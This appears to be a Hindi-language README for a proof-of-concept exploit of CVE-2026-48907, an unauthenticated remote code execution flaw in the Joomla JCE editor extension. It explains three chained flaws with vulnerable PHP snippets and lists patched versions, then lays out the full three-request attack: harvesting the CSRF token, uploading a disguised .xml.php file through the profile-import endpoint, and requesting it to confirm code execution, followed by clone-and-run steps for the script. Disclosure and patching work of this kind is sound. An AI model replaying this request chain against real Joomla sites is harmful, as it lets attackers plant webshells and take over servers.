
CVE-2026-48907 के लिए प्रूफ-ऑफ-कॉन्सेप्ट शोषण और तकनीकी विश्लेषण, Joomla सामग्री संपादक (JCE) में CVSS 10.0 प्री-प्रमाणीकरण दूरस्थ कोड निष्पादन भेद्यता। 3-अनुरोध हमला श्रृंखला और विस्तृत पैच विवरण शामिल है।
CVE-2026-48907 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट — Joomla Content Editor (JCE) एक्सटेंशन में CVSS 10.0 का प्री-ऑथेंटिकेशन रिमोट कोड एक्जीक्यूशन (RCE) कमजोरी।
शोध: Grayxploit Security Team
CVE-2026-48907 एक गंभीर बिना प्रमाणीकरण के रिमोट कोड एक्जीक्यूशन (RCE) कमजोरी है जो Joomla Content Editor (JCE) एक्सटेंशन — सबसे व्यापक रूप से स्थापित Joomla संपादक — के 2.9.99.4 तक के सभी संस्करणों को प्रभावित करती है।
JCE प्रोफ़ाइल आयात वर्कफ़्लो में तीन स्वतंत्र सुरक्षा कमजोरियों को जोड़कर, एक पूरी तरह से बिना प्रमाणीकृत हमलावर निम्नलिखित कर सकता है:
/tmp/ निर्देशिका में एक मनमाना PHP वेबशेल अपलोड करनाहमले के लिए केवल 3 HTTP अनुरोध चाहिए और यह किसी भी डिफ़ॉल्ट Joomla इंस्टॉलेशन पर काम करता है जो एक कमजोर JCE संस्करण चला रहा है।
CVSS v4 स्कोर: 10.0 — गंभीर
जिम्मेदार प्रकटीकरण के बाद Grayxploit सुरक्षा अनुसंधान टीम द्वारा खोजा और सार्वजनिक रूप से प्रकट किया गया।
| सॉफ्टवेयर | कमजोर संस्करण | पैच किया गया संस्करण |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (अनुशंसित) |
नोट: 2.9.99.5 ने मुख्य फिक्स प्रस्तुत किया। 2.9.99.6 ने अतिरिक्त सख्तीकरण परतें जोड़ीं। 2.9.99.6 या बाद के संस्करण में अपग्रेड करें।
यह कमजोरी JCE प्रोफ़ाइल आयात एंडपॉइंट में उत्पन्न होती है:
POST /index.php?option=com_jce&task=profiles.import
JCE प्रशासकों को XML फ़ाइलों के रूप में संपादक प्रोफ़ाइल निर्यात और आयात करने की अनुमति देता है। आयात हैंडलर बिना प्रमाणीकरण के पहुंच योग्य है और तीन स्वतंत्र कमजोरियों की श्रृंखला के कारण मनमानी फ़ाइल अपलोड स्वीकार करता है।
आयात नियंत्रक ने कोई ACL जांच नहीं की:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla CSRF टोकन को हर सार्वजनिक पृष्ठ पर मेटा टैग या JS वेरिएबल के रूप में एम्बेड करता है:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
एक हमलावर बस होमपेज प्राप्त करता है, टोकन निकालता है, और इसे पुनः चलाता है। CSRF जांच क्रॉस-साइट अनुरोधों को रोकती है — यह नहीं रोकती प्रत्यक्ष स्क्रिप्टेड अनुरोधों को। आयात पथ में कहीं भी Factory::getUser() या $user->authorise(...) का कोई कॉल नहीं था।
अपलोड हैंडलर ने File::makeSafe() का उपयोग किया जो केवल अवैध फाइलसिस्टम वर्णों को हटाता है — यह फ़ाइल एक्सटेंशन को नहीं मान्य या प्रतिबंधित करता है:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
shell.xml.php जैसा फ़ाइल नाम File::makeSafe() से बिना बदले गुजरता है। Apache का mod_php इसे निष्पादित करता है क्योंकि अंतिम पहचाना गया एक्सटेंशन .php है। .php, .php5, .phtml, और डबल-बैरेल्ड वेरिएंट जैसे एक्सटेंशन सभी स्वीकार किए गए।
File::upload() को $allow_unsafe = true के साथ बुलाया गया (CWE-116)Joomla के File::upload() में एक अंतर्निहित एक्सटेंशन ब्लैकलिस्ट है जो $allow_unsafe = false (डिफ़ॉल्ट) होने पर खतरनाक फ़ाइल प्रकारों को ब्लॉक करता है:
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
कमजोर JCE कोड ने स्पष्ट रूप से इस सुरक्षा जाल को अक्षम किया:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
इस एक बूलियन ने Joomla की पूरी आंतरिक एक्सटेंशन ब्लैकलिस्ट को बंद कर दिया, जिससे .php, .php5, .phtml, और अन्य सभी निष्पादन योग्य एक्सटेंशन को डिस्क पर लिखने की अनुमति मिली।
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
कोई सत्र कुकी नहीं। कोई उपयोगकर्ता नाम नहीं। कोई पासवर्ड नहीं। 3 HTTP अनुरोध।
⚠️ यह PoC केवल अधिकृत सुरक्षा अनुसंधान और पैठ परीक्षण के लिए प्रदान किया गया है। बिना स्पष्ट लिखित अनुमति के किसी भी सिस्टम के विरुद्ध उपयोग न करें। अनधिकृत उपयोग अवैध और अनैतिक है।
pip3 install requests
git clone https://github.com/grayxploit/CVE-2026-48907.git
cd CVE-2026-48907
pip3 install -r requirements.txt
python3 poc.py